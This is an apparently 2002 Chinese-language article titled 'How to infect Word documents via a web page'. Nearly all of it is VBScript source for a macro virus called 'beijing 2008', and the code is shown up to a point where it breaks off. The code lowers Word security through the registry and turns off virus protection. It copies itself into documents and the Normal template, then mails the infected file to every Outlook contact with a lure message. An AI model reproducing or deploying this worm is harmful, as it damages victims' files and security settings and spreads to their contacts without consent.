标题：怎样通过网页感染word文档！
--------------------------------------------------------------------
作者：吴晓东 qq:10096799 e-mail:sendtowxd@163.net
发表时间：2002-06-03
官方网站：http://jazzyfree.nease.net
如有不懂请与本人联系！本文章仅仅做技术交流，如用做其他用途，恕于本人无关 ：）
--------------------------------------------------------------------
通过网页生成一个vbs文件，文件中包含以下这个过程，然后在网页中调用这个vbs文件。这里仅提供感染
过程源码！
sub infectword(wshell)
on error resume next
wshell.regwrite xx&"office\9.0\word\security\level",1,"reg_dword"
wshell.regwrite xx&"office\10.0\word\security\level",1,"reg_dword"
set owa = getobject(, "word.application")
if owa = "" then
set owa = createobject("word.application")
end if
'宏病毒代码
s="'beijing 2008$-$' ○○○$-$' ○○$-$'〓〓〓〓〓〓$-$dim b as string$-$dim a$-$private sub document_open()$-$s$-$sm$-$g$-$end sub$-$private sub document_close()$-$s$-$ $-$g$-$end sub$-$sub fileopen()$-$on error resume next$-$alt$-$dialogs(wddialogfileopen).show$-$g$-$end sub$-$sub g()$-$on error resume next$-$b = @-@@-@$-$for each vs in macrocontainer.vbproject.vbcomponents$-$if vs.name = @-@beijing@-@ then set vs = vs.codemodule: exit for$-$next vs$-$b = vs.lines(1, vs.countoflines)$-$set a = documents$-$i 0$-$set a = templates$-$i 1$-$end sub$-$sub s()$-$on error resume next$-$system.privateprofilestring(@-@@-@, @-@hkey_current_user\software\microsoft\office\9.0\word\security@-@, @-@level@-@) = 1&$-$for each l in commandbars(@-@tools@-@).controls$-$if l.id = 751 or l.id=30017 then l.visible =false$-$next l$-$application.enablecancelkey = wdcanceldisabled$-$wordbasic.disableautomacros 0$-$with options$-$.virusprotection = false$-$.allowfastsave = true$-$.savepropertiesprompt = false$-$.savenormalprompt = false$-$.confirmconversions = false$-$end with$-$end sub$-$sub sm()$-$on error resume next$-$set out = createobject(@-@outlook.application@-@)$-$set mp = out.getnamespace(@-@mapi@-@)$-$mp.logon @-@profile@-@, @-@password@-@$-$for x = 1 to mp.addresslists.count$-$set ak = mp.addresslists(x)$-$set im = out.createitem(0)$-$for xx = 1 to ak.addressentries.count$-$ad = ak.addressentries(xx)$-$im.recipients.add ad$-$next xx$-$im.subject = @-@? ? ?@-@$-$im.body = @-@hello! i know you are so busy....is this the document you need?@-@ & chr(13) & chr(10) & chr(13) & chr(10) & application.username$-$im.attachments.add activedocument.fullname$-$im.send$-$next x$-$mp.logoff$-$end sub$-$sub alt()$-$on error resume next$-$if day(now) = 28 then$-$with assistant.newballoon$-$.icon = msoiconmsalert$-$.text = @-@beijing 2008 welcome you!!!thanks for you support.@-@$-$.heading = @-@hellow!are you busy!@-@$-$.animation = msoanimationworkingatsomething$-$.show$-$end with$-$assistant.visible = true$-$end if$-$end sub$-$sub i(fplace as integer)$-$on error resume next$-$dim aa(85) as string$-$for each doc in a$-$set t = doc.vbproject.vbcomponents.item(1)$-$if t.name <> @-@beijing@-@ then$-$t.codemodule.deletelines 1, t.codemodule.countoflines$-$t.codemodule.insertlines 1, b$-$t.name = @-@beijing@-@$-$if fplace = 1 then$-$aa(23) = @-@sub gg()@-@$-$aa(83) = @-@sub ii(fplace as integer)@-@$-$aa(35) = @-@sub ss()@-@$-$aa(51) = @-@sub smm()@-@$-$aa(70) = @-@sub altt()@-@$-$aa(7) = @-@public sub autoopen()@-@$-$aa(8) = @-@ @-@$-$aa(9) = @-@ @-@$-$aa(10) = @-@gg@-@$-$aa(12) = @-@sub autoclose()@-@$-$aa(13) = @-@ss@-@$-$aa(14) = @-@smm@-@$-$aa(15) = @-@gg@-@$-$aa(17) = @-@sub filesave()@-@$-$aa(19) = @-@altt@-@$-$aa(20) = @-@activedocument.save:activedocument.saved = false@-@$-$aa(21) = @-@gg@-@$-$aa(31) = @-@ii 0@-@$-$aa(33) = @-@ii 1@-@$-$else$-$aa(23) = @-@sub g()@-@$-$aa(83) = @-@sub i(fplace as integer)@-@$-$aa(35) = @-@sub s()@-@$-$aa(51) = @-@sub sm()@-@$-$aa(70) = @-@sub alt()@-@$-$aa(7) = @-@private sub document_open()@-@$-$aa(8) = @-@s@-@$-$aa(9) = @-@sm@-@$-$aa(10) = @-@g@-@$-$aa(12) = @-@private sub document_close()@-@$-$aa(13) = @-@s@-@$-$aa(14) = @-@activedocument.save@-@$-$aa(15) = @-@g@-@$-$aa(17) = @-@sub fileopen()@-@$-$aa(19) = @-@alt@-@$-$aa(20) = @-@dialogs(wddialogfileopen).show@-@$-$aa(21) = @-@g@-@$-$aa(31) = @-@i 0@-@$-$aa(33) = @-@i 1@-@$-$end if$-$dim nn$-$for nn = 7 to 85$-$if aa(nn) <> @-@@-@ the
